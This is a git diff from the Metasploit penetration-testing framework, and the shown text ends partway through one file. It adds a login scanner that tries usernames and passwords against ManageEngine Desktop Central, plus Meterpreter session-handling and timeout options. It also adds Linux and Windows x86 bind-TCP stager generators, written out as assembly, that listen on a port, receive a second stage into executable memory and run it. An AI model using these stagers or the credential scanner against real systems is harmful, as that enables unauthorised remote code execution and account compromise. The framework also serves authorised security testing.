diff --git a/Gemfile.lock b/Gemfile.lock index df205b99b6..39bc660293 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0.pre.rails.pre.4.0) metasploit-model (= 1.0.0.pre.rails.pre.4.0) - meterpreter_bins (= 0.0.22) + metasploit-payloads (= 0.0.3) msgpack nokogiri packetfu (= 1.1.9) @@ -122,6 +122,7 @@ GEM metasploit-model (1.0.0.pre.rails.pre.4.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) + metasploit-payloads (0.0.3) metasploit_data_models (1.0.0.pre.rails.pre.4.0b) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) @@ -132,7 +133,6 @@ GEM postgres_ext railties (>= 4.0.9, < 4.1.0) recog (~> 1.0) - meterpreter_bins (0.0.22) method_source (0.8.2) mime-types (2.4.3) mini_portile (0.6.2) diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso deleted file mode 100755 index d8b8672bf7..0000000000 Binary files a/data/meterpreter/ext_server_networkpug.lso and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso deleted file mode 100755 index 4fc1bb2391..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.lso and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso deleted file mode 100755 index 64b4e1e72e..0000000000 Binary files a/data/meterpreter/ext_server_stdapi.lso and /dev/null differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin deleted file mode 100644 index 84bcbc5e94..0000000000 Binary files a/data/meterpreter/msflinker_linux_x86.bin and /dev/null differ diff --git a/lib/metasploit/framework/login_scanner/manageengine_desktop_central.rb b/lib/metasploit/framework/login_scanner/manageengine_desktop_central.rb new file mode 100644 index 0000000000..3ea0bd3869 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/manageengine_desktop_central.rb @@ -0,0 +1,135 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + class ManageEngineDesktopCentral < HTTP + + DEFAULT_PORT = 8020 + PRIVATE_TYPES = [ :password ] + LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name + + + # Checks if the target is ManageEngine Dekstop Central. + # + # @return [Boolean] TrueClass if target is MSP, otherwise FalseClass + def check_setup + login_uri = normalize_uri("#{uri}/configurations.do") + res = send_request({'uri' => login_uri}) + + if res && res.body.include?('ManageEngine Desktop Central') + return true + end + + false + end + + + # Returns the latest sid from MSP + # + # @param [Rex::Proto::Http::Response] + # @return [String] The session ID for MSP + def get_sid(res) + cookies = res.get_cookies + sid = cookies.scan(/(DCJSESSIONID=\w+);*/).flatten[0] || '' + sid + end + + + + # Returns the hidden inputs + # + # @param [Rex::Proto::Http::Response] + # @return [Hash] Input fields + def get_hidden_inputs(res) + found_inputs = {} + res.body.scan(/()/).flatten.each do |input| + name = input.scan(/name="(\w+)"/).flatten[0] || '' + value = input.scan(/value="([\w\.\-]+)"/).flatten[0] || '' + found_inputs[name] = value + end + found_inputs + end + + + # Returns all the items needed to login + # + # @return [Hash] Login items + def get_required_login_items + items = {} + login_uri = normalize_uri("#{uri}/configurations.do") + res = send_request({'uri' => login_uri}) + return items unless res + items.merge!({'sid' => get_sid(res)}) + items.merge!(get_hidden_inputs(res)) + items + end + + + # Actually doing the login. Called by #attempt_login + # + # @param username [String] The username to try + # @param password [String] The password to try + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def get_login_state(username, password) + login_uri = normalize_uri("#{uri}/j_security_check") + login_items = get_required_login_items + + res = send_request({ + 'uri' => login_uri, + 'method' => 'POST', + 'cookie' => login_items['sid'], + 'vars_post' => { + 'j_username' => username, + 'j_password' => password, + 'Button' => 'Sign+in', + 'buildNum' => login_items['buildNum'], + 'clearCacheBuildNum' => login_items['clearCacheBuildNum'] + } + }) + + unless res + return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s} + end + + if res.code == 302 + return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s} + end + + {:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s} + end + + + # Attempts to login to MSP. + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + result_opts = { + credential: credential, + status: LOGIN_STATUS::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + begin + result_opts.merge!(get_login_state(credential.public, credential.private)) + rescue ::Rex::ConnectionError => e + # Something went wrong during login. 'e' knows what's up. + result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message) + end + + Result.new(result_opts) + end + + end + end + end +end + diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index fcf024f116..7749515b92 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -527,6 +527,8 @@ class ReadableText indent = opts[:indent] || DefaultIndent col = opts[:col] || DefaultColumnWrap + return dump_sessions_verbose(framework, opts) if verbose + columns = [ 'Id', @@ -535,9 +537,6 @@ class ReadableText 'Connection' ] - columns << 'Via' if verbose - columns << 'PayloadId' if verbose - tbl = Rex::Ui::Text::Table.new( 'Indent' => indent, 'Header' => "Active sessions", @@ -554,12 +553,7 @@ class ReadableText row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ] if session.respond_to? :platform - row[1] += " " + session.platform - end - - if verbose - row << session.via_exploit.to_s - row << session.payload_uuid.to_s + row[1] << (" " + session.platform) end tbl << row @@ -568,6 +562,59 @@ class ReadableText return framework.sessions.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No active sessions.\n" end + # Dumps the list of active sessions in verbose mode + # + # @param framework [Msf::Framework] the framework to dump. + # @param opts [Hash] the options to dump with. + # @option opts :session_ids [Array] the list of sessions to dump (no + # effect). + # @return [String] the formatted list of sessions. + def self.dump_sessions_verbose(framework, opts={}) + ids = (opts[:session_ids] || framework.sessions.keys).sort + + out = "Active sessions\n" + + "===============\n\n" + + if framework.sessions.length == 0 + out << "No active sessions.\n" + return out + end + + framework.sessions.each_sorted do |k| + session = framework.sessions[k] + + sess_info = session.info.to_s + sess_id = session.sid.to_s + sess_tunnel = session.tunnel_to_s + " (#{session.session_host})" + sess_via = session.via_exploit.to_s + sess_type = session.type.to_s + sess_uuid = session.payload_uuid.to_s + sess_checkin = "" + sess_machine_id = session.machine_id.to_s + + if session.respond_to? :platform + sess_type << (" " + session.platform) + end + + if session.respond_to?(:last_checkin) && session.last_checkin + sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}" + end + + out << " Session ID: #{sess_id}\n" + out << " Type: #{sess_type}\n" + out << " Info: #{sess_info}\n" + out << " Tunnel: #{sess_tunnel}\n" + out << " Via: #{sess_via}\n" + out << " UUID: #{sess_uuid}\n" + out << " MachineID: #{sess_machine_id}\n" + out << " CheckIn: #{sess_checkin}\n" + out << "\n" + end + + out << "\n" + return out + end + # Dumps the list of running jobs. # # @param framework [Msf::Framework] the framework. diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 64e4bad848..80f648a24d 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -255,9 +255,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client def kill begin cleanup_meterpreter - self.sock.close + self.sock.close if self.sock rescue ::Exception end + # deregister will actually trigger another cleanup framework.sessions.deregister(self) end @@ -298,6 +299,24 @@ class Meterpreter < Rex::Post::Meterpreter::Client console.disable_output = original end + # + # Validate session information by checking for a machine_id response + # + def is_valid_session?(timeout=10) + return true if self.machine_id + + begin + self.machine_id = self.core.machine_id(timeout) + return true + rescue ::Rex::Post::Meterpreter::RequestError + # This meterpreter doesn't support core_machine_id + return true + rescue ::Exception => e + dlog("Session #{self.sid} did not respond to validation request #{e.class}: #{e}") + end + false + end + # # Populate the session information. # @@ -448,6 +467,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client attr_accessor :binary_suffix attr_accessor :console # :nodoc: attr_accessor :skip_ssl + attr_accessor :skip_cleanup attr_accessor :target_id protected diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 9bb1a7d7ae..da645ff199 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -12,11 +12,17 @@ module MeterpreterOptions register_advanced_options( [ OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]), + OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]), OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]), - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]) + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]), + OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]), + OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]), + OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]), + OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]), + OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', Rex::Post::Meterpreter::ClientCore::TIMEOUT_COMMS]) ], self.class) end @@ -35,43 +41,49 @@ module MeterpreterOptions session.init_ui(self.user_input, self.user_output) - if (datastore['AutoLoadStdapi'] == true) + valid = true - session.load_stdapi - - if datastore['AutoSystemInfo'] - session.load_session_info + if datastore['AutoVerifySession'] == true + if not session.is_valid_session? + print_error("Meterpreter session #{session.sid} is not valid and will be closed") + valid = false end + end -=begin - admin = false - begin - ::Timeout.timeout(30) do - if session.railgun and session.railgun.shell32.IsUserAnAdmin()["return"] == true - admin = true - session.info += " (ADMIN)" - end + if valid + + if datastore['AutoLoadStdapi'] == true + + session.load_stdapi + + if datastore['AutoSystemInfo'] + session.load_session_info + end + + if session.platform =~ /win32|win64/i + session.load_priv rescue nil end - rescue ::Exception end -=end - if session.platform =~ /win32|win64/i - session.load_priv rescue nil + + if session.platform =~ /android/i + if datastore['AutoLoadAndroid'] + session.load_android + end + end + + [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| + if (datastore[key].empty? == false) + args = Shellwords.shellwords( datastore[key] ) + print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") + session.execute_script(args.shift, *args) + end end end - if session.platform =~ /android/i - if datastore['AutoLoadAndroid'] - session.load_android - end - end - - [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| - if (datastore[key].empty? == false) - args = Shellwords.shellwords( datastore[key] ) - print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") - session.execute_script(args.shift, *args) - end + # Terminate the session without cleanup if it did not validate + if not valid + session.skip_cleanup = true + session.kill end } diff --git a/lib/msf/core/handler/bind_tcp.rb b/lib/msf/core/handler/bind_tcp.rb index 2c6504ce93..c20a1b67eb 100644 --- a/lib/msf/core/handler/bind_tcp.rb +++ b/lib/msf/core/handler/bind_tcp.rb @@ -141,12 +141,21 @@ module BindTcp # Increment the has connection counter self.pending_connections += 1 + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + # Start a new thread and pass the client connection # as the input and output pipe. Client's are expected # to implement the Stream interface. conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy| begin - handle_connection(wrap_aes_socket(client_copy), { datastore: datastore }) + handle_connection(wrap_aes_socket(client_copy), opts) rescue elog("Exception raised from BindTcp.handle_connection: #{$!}") end diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index daed63cfd8..47f7dfa6b1 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -250,7 +250,7 @@ module ReverseHopHttp # # Patch options into the payload # - Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, :ssl => ssl?, :url => url, :expiration => datastore['SessionExpirationTimeout'], @@ -260,7 +260,7 @@ module ReverseHopHttp :proxy_port => datastore['PayloadProxyPort'], :proxy_type => datastore['PayloadProxyType'], :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'] + :proxy_pass => datastore['PayloadProxyPass']) blob = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 17e5e5f4f0..ca48676377 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -52,8 +52,6 @@ module ReverseHttp register_advanced_options( [ OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]), - OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]), OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]), OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), @@ -283,6 +281,8 @@ protected :url => url, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid }) @@ -312,6 +312,8 @@ protected :url => url, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid }) @@ -330,17 +332,19 @@ protected # Patch options into the payload # Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, - :ssl => ssl?, - :url => url, - :ssl_cert_hash => verify_cert_hash, - :expiration => datastore['SessionExpirationTimeout'], - :comm_timeout => datastore['SessionCommunicationTimeout'], - :ua => datastore['MeterpreterUserAgent'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_type => datastore['PayloadProxyType'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass']) + :ssl => ssl?, + :url => url, + :ssl_cert_hash => verify_cert_hash, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :ua => datastore['MeterpreterUserAgent'], + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass']) resp.body = encode_stage(blob) @@ -351,6 +355,8 @@ protected :url => url, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid }) @@ -366,8 +372,13 @@ protected :passive_dispatcher => obj.service, :conn_id => conn_id, :url => payload_uri(req) + conn_id + "/\x00", - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + # TODO ### Figure out what to do with these options given that the payload ### + # settings might not match the handler, should we instead read the remote? # + :expiration => datastore['SessionExpirationTimeout'].to_i, # + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, # + :retry_total => datastore['SessionRetryTotal'].to_i, # + :retry_wait => datastore['SessionRetryWait'].to_i, # + ############################################################################## :ssl => ssl?, :payload_uuid => uuid }) diff --git a/lib/msf/core/handler/reverse_http/stageless.rb b/lib/msf/core/handler/reverse_http/stageless.rb index 6d47ac0084..2db120d4f4 100644 --- a/lib/msf/core/handler/reverse_http/stageless.rb +++ b/lib/msf/core/handler/reverse_http/stageless.rb @@ -58,6 +58,8 @@ module Handler::ReverseHttp::Stageless :ssl_cert_hash => verify_cert_hash, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, :ua => datastore['MeterpreterUserAgent'], :proxy_host => datastore['PayloadProxyHost'], :proxy_port => datastore['PayloadProxyPort'], diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index f66a947093..ab0b30dd7e 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -169,12 +169,21 @@ module ReverseTcp break end + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + if datastore['ReverseListenerThreaded'] self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy| - handle_connection(wrap_aes_socket(client_copy), { datastore: datastore }) + handle_connection(wrap_aes_socket(client_copy), opts) } else - handle_connection(wrap_aes_socket(client), { datastore: datastore }) + handle_connection(wrap_aes_socket(client), opts) end rescue ::Exception elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 5eeb77f097..d7532bdfb4 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -100,13 +100,13 @@ class Msf::Module::SiteReference < Msf::Module::Reference elsif (in_ctx_id == 'CVE') self.site = "http://cvedetails.com/cve/#{in_ctx_val}/" elsif (in_ctx_id == 'CWE') - self.site = "http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html" + self.site = "https://cwe.mitre.org/data/definitions/#{in_ctx_val}.html" elsif (in_ctx_id == 'BID') self.site = "http://www.securityfocus.com/bid/#{in_ctx_val}" elsif (in_ctx_id == 'MSB') self.site = "http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}" elsif (in_ctx_id == 'EDB') - self.site = "http://www.exploit-db.com/exploits/#{in_ctx_val}" + self.site = "https://www.exploit-db.com/exploits/#{in_ctx_val}" elsif (in_ctx_id == 'US-CERT-VU') self.site = "http://www.kb.cert.org/vuls/id/#{in_ctx_val}" elsif (in_ctx_id == 'ZDI') diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb new file mode 100644 index 0000000000..2d4f21ae1f --- /dev/null +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -0,0 +1,178 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf + + +### +# +# Complex bindtcp payload generation for Linux ARCH_X86 +# +### + + +module Payload::Linux::BindTcp + + include Msf::Payload::Linux + + def close_listen_socket + datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true + end + + # + # Generate the first stage + # + def generate + + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_bind_tcp( + port: datastore['LPORT'], + close_socket: close_listen_socket + ) + end + + conf = { + port: datastore['LPORT'], + close_socket: close_listen_socket, + reliable: true + } + + generate_bind_tcp(conf) + end + + # + # Generate and compile the stager + # + def generate_bind_tcp(opts={}) + asm = asm_bind_tcp(opts) + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Reliability checks add 4 bytes for the first check, 5 per recv check (2) + space += 14 + + # Adding 6 bytes to the payload when we include the closing of the listen + # socket + space += 6 if close_listen_socket + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_bind_tcp(opts={}) + + #reliable = opts[:reliable] + close_socket = opts[:close_socket] + encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + + asm = %Q^ + bind_tcp: + push 0x7d ; mprotect syscall + pop eax + cdq + mov dl,0x7 + mov ecx,0x1000 + mov ebx,esp + and bx,0xf000 + int 0x80 ; invoke mprotect + xor ebx,ebx + mul ebx + push ebx ; PROTO + inc ebx ; SYS_SOCKET and SOCK_STREAM + push ebx + push 0x2 ; SYS_BIND and AF_INET + mov ecx,esp + mov al,0x66 ; socketcall syscall + int 0x80 ; invoke socketcall (SYS_SOCKET) + ^ + + unless close_socket + asm << %Q^ + ; set the SO_REUSEADDR flag on the socket + push ecx + push 4 + push esp + push 2 + push 1 + push eax + xchg eax,edi ; stash the socket handle + mov ecx, esp + push 0xe ; SYS_SETSOCKOPT + pop ebx + push 0x66 ; socketcall syscall + pop eax + int 0x80 + xchg eax,edi ; restore the socket handle + add esp, 0x14 + ^ + end + + asm << %Q^ + pop ebx + pop esi + push edx + push #{encoded_port} + push 0x10 + push ecx + push eax + mov ecx,esp + push 0x66 ; socketcall syscall + pop eax + int 0x80 ; invoke socketcall (SYS_BIND) + shl ebx,1 ; SYS_LISTEN + mov al,0x66 ; socketcall syscall (SYS_LISTEN) + int 0x80 ; invoke socketcall + ^ + + if close_socket + asm << %Q^ + push eax ; stash the listen socket + ^ + end + + asm << %Q^ + inc ebx ; SYS_ACCEPT + mov al,0x66 ; socketcall syscall + mov [ecx+0x4],edx + int 0x80 ; invoke socketcall (SYS_ACCEPT) + xchg eax,ebx + mov dh,0xc ; at least 0x0c00 bytes + mov al,0x3 ; read syscall + int 0x80 ; invoke read + xchg ebx,edi ; stash the accept socket in edi + ^ + if close_socket + asm << %Q^ + pop ebx ; restore the listen socket + mov al,0x6 ; close syscall + int 0x80 ; invoke close + ^ + end + + asm << %Q^ + jmp ecx ; jump to the payload + ^ + + asm + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb new file mode 100644 index 0000000000..80e411fb28 --- /dev/null +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -0,0 +1,263 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf + + +### +# +# Complex bindtcp payload generation for Windows ARCH_X86 +# +### + + +module Payload::Windows::BindTcp + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + def close_listen_socket + datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true + end + + # + # Generate the first stage + # + def generate + + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_bind_tcp( + port: datastore['LPORT'].to_i, + close_socket: close_listen_socket + ) + end + + conf = { + port: datastore['LPORT'].to_i, + exitfunk: datastore['EXITFUNC'], + close_socket: close_listen_socket, + reliable: true + } + + generate_bind_tcp(conf) + end + + # + # Generate and compile the stager + # + def generate_bind_tcp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_bind_tcp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + # TODO: need help with this from the likes of HD. + space = 277 + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above) + + # Reliability checks add 4 bytes for the first check, 5 per recv check (2) + space += 14 + + # if the payload doesn't need the listen socket closed then we save space. This is + # the case for meterpreter payloads, as metsrv now closes the listen socket once it + # kicks off (needed for more reliable shells). + space -= 8 unless close_listen_socket + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_bind_tcp(opts={}) + + reliable = opts[:reliable] + close_socket = opts[:close_socket] + encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the newly connected clients socket + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + + bind_tcp: + push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. + push 0x5F327377 ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call ebp ; WSAStartup( 0x0190, &WSAData ); + + push 8 + pop ecx + push_8_loop: + push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8]) + loop push_8_loop + + ; push zero for the flags param [8] + ; push null for reserved parameter [7] + ; we do not specify a WSAPROTOCOL_INFO structure [6] + ; we do not specify a protocol [5] + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + ; bind to 0.0.0.0, pushed earlier [4] + + push #{encoded_port} ; family AF_INET and port number + mov esi, esp ; save a pointer to sockaddr_in struct + push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) + push esi ; pointer to the sockaddr_in struct + push edi ; socket + push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + call ebp ; bind( s, &sockaddr_in, 16 ); + ^ + + # Check for a failed bind() call + if reliable + asm << %Q^ + test eax,eax + jnz failure + ^ + end + + asm << %Q^ + ; backlog, pushed earlier [3] + push edi ; socket + push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + call ebp ; listen( s, 0 ); + + ; we set length for the sockaddr struct to zero, pushed earlier [2] + ; we dont set the optional sockaddr param, pushed earlier [1] + push edi ; listening socket + push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) + call ebp ; accept( s, 0, 0 ); + ^ + + if close_socket + asm << %Q^ + push edi ; push the listening socket to close + xchg edi, eax ; replace the listening socket with the new connected socket for further comms + push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + call ebp ; closesocket( s ); + ^ + else + asm << %Q^ + xchg edi, eax ; replace the listening socket with the new connected socket for further comms + ^ + end + + asm << %Q^ + recv: + ; Receive the size of the incoming second stage... + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + call ebp ; recv( s, &dwLength, 4, 0 ); + ^ + + # Check for a failed recv() call + if reliable + asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly recieved second stage length. + push 0 ; NULL as we dont care where the allocation is. + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: ; + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + call ebp ; recv( s, buffer, length, 0 ); + ^ + + # Check for a failed recv() call + if reliable + asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + 